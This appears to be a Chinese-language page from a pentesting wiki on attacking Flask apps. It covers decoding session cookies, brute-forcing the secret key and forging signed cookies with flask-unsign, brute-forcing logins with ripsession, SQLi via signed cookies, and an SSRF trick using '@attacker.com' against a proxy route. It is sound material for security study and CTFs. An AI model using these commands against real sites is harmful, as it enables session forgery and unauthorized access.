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89 lines
2.5 KiB
Markdown
89 lines
2.5 KiB
Markdown
# Flask
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{{#include ../../banners/hacktricks-training.md}}
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**如果你在进行CTF，Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**相关。**
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## Cookies
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默认的cookie会话名称是 **`session`**。
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### Decoder
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在线Flask cookie解码器: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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#### Manual
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获取cookie的第一部分，直到第一个点，然后进行Base64解码。
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```bash
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echo "ImhlbGxvIg" | base64 -d
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```
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该 cookie 还使用密码进行了签名
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### **Flask-Unsign**
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命令行工具，通过猜测秘密密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。
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{{#ref}}
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https://pypi.org/project/flask-unsign/
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{{#endref}}
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```bash
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pip3 install flask-unsign
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```
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#### **解码 Cookie**
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```bash
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flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
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```
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#### **暴力破解**
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```bash
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flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
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```
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#### **签名**
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
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```
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#### 使用旧版本进行签名
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
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```
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### **RIPsession**
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命令行工具，用于使用用flask-unsign制作的cookie对网站进行暴力破解。
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{{#ref}}
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https://github.com/Tagvi/ripsession
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{{#endref}}
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```bash
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ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
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```
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### SQLi in Flask session cookie with SQLmap
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[**这个例子**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) 使用 sqlmap `eval` 选项来 **自动签名 sqlmap 负载** 以便于 flask，使用已知的密钥。
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## Flask Proxy to SSRF
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[**在这篇文章中**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 解释了 Flask 如何允许以字符 "@" 开头的请求：
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```http
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GET @/ HTTP/1.1
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Host: target.com
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Connection: close
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```
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在以下场景中：
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```python
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from flask import Flask
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from requests import get
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app = Flask('__main__')
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SITE_NAME = 'https://google.com/'
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@app.route('/', defaults={'path': ''})
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@app.route('/<path:path>')
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def proxy(path):
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return get(f'{SITE_NAME}{path}').content
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app.run(host='0.0.0.0', port=8080)
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```
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可以允许引入类似“@attacker.com”的内容，以导致**SSRF**。
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{{#include ../../banners/hacktricks-training.md}}
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